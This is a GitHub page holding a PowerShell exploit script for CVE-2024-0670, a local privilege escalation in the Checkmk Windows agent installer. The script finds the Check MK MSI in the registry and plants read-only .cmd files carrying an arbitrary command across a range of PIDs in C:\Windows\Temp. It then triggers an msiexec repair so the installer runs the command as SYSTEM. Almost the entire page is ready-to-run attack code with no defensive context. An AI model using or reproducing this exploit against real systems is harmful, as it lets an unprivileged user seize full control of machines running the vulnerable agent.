-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathCVE-2024-0670.ps1
More file actions
55 lines (49 loc) · 1.8 KB
/
Copy pathCVE-2024-0670.ps1
File metadata and controls
55 lines (49 loc) · 1.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
param(
[int]$MinPID = 1000,
[int]$MaxPID = 10000,
[int]$MaxCounter = 1,
[string]$Cmd = "whoami > C:\Windows\Temp\whoami.txt"
)
try {
Get-ChildItem "C:\Windows\Temp" -ErrorAction Stop | Out-Null
} catch {
throw "[!] Read access to C:\Windows\Temp is denied."
}
$testFile = "C:\Windows\Temp\access_test.tmp"
try {
"test" | Out-File -FilePath $testFile -ErrorAction Stop
Remove-Item $testFile -ErrorAction Stop
} catch {
throw "[!] Write access to C:\Windows\Temp is denied."
}
Write "[+] Searching for Check MK installer... "
$Installer = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties' |
Where-Object { $_.DisplayName -like '*Check MK*' } |
Select-Object -First 1).LocalPackage
if (!$Installer) {
throw "[!] Could not find Check MK MSI"
}
Write "[+] Found: $Installer"
Write "[+] Using command: $Cmd"
$Total = ($MaxCounter + 1) * ($MaxPID - $MinPID)
Write "[+] Preparing $Total .cmd files..."
$Progress = 0
foreach ($c in 0..$MaxCounter) {
for ($i = $MinPID; $i -le $MaxPID; $i++) {
$filePath = "C:\Windows\Temp\cmk_all_$($i)_$($c).cmd"
if (Test-Path $filePath) {
Set-ItemProperty -Path $filePath -Name IsReadOnly -Value $false
}
[System.IO.File]::WriteAllText($filePath, $Cmd, [System.Text.Encoding]::ASCII)
Set-ItemProperty -Path $filePath -Name IsReadOnly -Value $true -ErrorAction SilentlyContinue
$Progress++
$Percent = [math]::Floor(($Progress / $Total) * 100)
if ($Percent -ge $NextMarker) {
Write "[*] Progress: $Percent%"
$NextMarker += 10
}
}
}
Write "[+] Triggering MSI to execute command..."
Start-Process "msiexec.exe" -ArgumentList "/fa `"$Installer`"" -Wait
Write "[+] Done"